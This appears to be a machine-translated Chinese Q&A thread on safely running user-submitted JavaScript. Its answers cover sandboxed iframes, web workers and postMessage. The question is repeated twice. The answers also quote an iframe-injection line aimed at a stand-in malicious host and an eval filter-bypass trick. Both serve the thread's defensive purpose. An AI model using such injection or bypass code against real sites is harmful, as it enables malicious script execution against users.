我希望能够允许社区成员提供他们自己的 javascript 代码供其他人使用,因为用户的想象力比我能想到的任何东西都大得多。
但这引发了内在的安全问题,特别是当目的是允许外部代码运行时。
那么,我可以禁止eval()
提交并完成它吗?还是有其他方法可以评估代码或在 javascript 中引起大规模恐慌?
还有其他事情是不允许的,但我主要担心的是,除非我可以阻止字符串被执行,否则我为特定方法设置的任何其他过滤器都可以被规避。可行,还是我必须求助于要求作者提供 Web 服务接口?
我希望能够允许社区成员提供他们自己的 javascript 代码供其他人使用,因为用户的想象力比我能想到的任何东西都大得多。
但这引发了内在的安全问题,特别是当目的是允许外部代码运行时。
那么,我可以禁止eval()
提交并完成它吗?还是有其他方法可以评估代码或在 javascript 中引起大规模恐慌?
还有其他事情是不允许的,但我主要担心的是,除非我可以阻止字符串被执行,否则我为特定方法设置的任何其他过滤器都可以被规避。可行,还是我必须求助于要求作者提供 Web 服务接口?
由于HTML5现在已经可用,您可以使用沙箱来处理不受信任的 JavaScript 代码。
- 将 iframe 的沙盒属性用于不受信任的内容。
iframe 的沙盒属性启用对
iframe
. 设置沙盒属性时,以下限制处于活动状态:
所有标记都被视为来自唯一来源。
所有表单和脚本都被禁用。
- 所有链接都被阻止以其他浏览上下文为目标。
- 所有自动触发的功能都被阻止。
所有插件都被禁用。
可以使用属性
iframe
的值对功能进行细粒度控制。sandbox
在不支持此功能的旧版本用户代理中,此属性将被忽略。将此功能用作额外的保护层或检查浏览器是否支持沙盒框架,并且仅在支持时显示不受信任的内容。
除了这个属性,为了防止点击劫持攻击和不请自来的框架,鼓励使用
X-Frame-Options
支持deny
和same-origin
值的标头。if(window!== window.top) { window.top.location = location; }
不建议使用其他解决方案,例如 framebusting 。
您可以允许脚本运行,同时保留其他限制。但是,您应该确保脚本从与您的主要内容不同的域运行,以防止攻击者重定向用户直接加载页面(即不通过您的 IFrame)进行的XSS攻击。
这将限制脚本eval
用于攻击您的主域,但这也可能会阻止脚本实际上足够强大以满足您的需求。与您的主域的任何交互都必须通过Window.postMessage
. 如果这限制性太强,那么@bobince 的回答仍然有解决方法的最佳建议。
有关如何安全实施沙箱的详细信息,请参阅我的其他答案。
还是有其他方法来评估代码
您无法eval()
在脚本解析级别过滤掉调用,因为 JavaScript 是一种图灵完备的语言,可以在其中混淆调用。例如。请参阅 svinto 的解决方法。您可以通过用空值覆盖它来隐藏window.eval
它,但确实有其他方法可以评估代码,包括(就在我的脑海中):
或在javascript中引起大规模恐慌?
那么 createElement('iframe').src='http://evil.iframeexploitz.ru/aff=2345' 是您可以预料到的最糟糕的攻击之一......但实际上,当脚本具有控制权时,它可以做到用户可以在您的网站上做的任何事情。它可以让他们发布“我是一个大的老恋童癖!” 在你的论坛上一千次,然后删除自己的帐户。例如。
我必须诉诸于要求作者提供 Web 服务接口吗?
是的,或者:
您可能感兴趣的后者的一个例子是Google Caja。我不完全确定我会相信它。这是一项艰巨的工作,到目前为止,他们肯定存在一些安全漏洞,但如果你真的必须采用这种方法,这已经是最好的了。
确实没有任何方法可以保证任意 Javascript 的执行是安全的。实际上,您为防止恶意代码而提供的任何类型的过滤都会去除访问类似功能或数据的合法代码。我不认为你想做的事情以这种方式是可行的。
您需要在沙盒环境中执行不受信任的代码。sandbox
这意味着使用该属性创建一个 iframe (请参阅本文),并在该框架内另外创建一个 web-worker(以便代码在单独的线程中运行,并且如果用户提交了一些奇怪的东西,则不会挂断 UI) .
如果您需要以某种方式与以所述方式沙盒化的代码进行交互,则可以使用消息传递机制。这有点棘手,但有一些库简化了任务,包括我自己创建的一个:https ://github.com/asvd/jailed
不,您实际上不能阻止用户提供的 Javascript 代码运行它想要的任何东西 - 即使禁止eval()
也不能阻止它运行任意程序(它可能是一个 Javascript 解释器本身,在这种情况下它只是实现该eval()
函数,以及许多其他方式 - 例如,它可以以字符串形式添加带有一些事件处理程序的 HTML,然后执行它们,它可以document.write()
是一个新脚本等)。
如果您的网站不需要此用户提供的 JS 来在其他用户的计算机上运行,我只会发出一个大警告,添加一些人工控制(可能会标记流氓代码),也许是服务器上的一些防病毒软件(对此了解不多)。
过滤掉 eval 可能不起作用。我想你可以像这样破解它:window['ev' + 'al']('alert("hello world");');
. 您当然可以替换 eval 函数...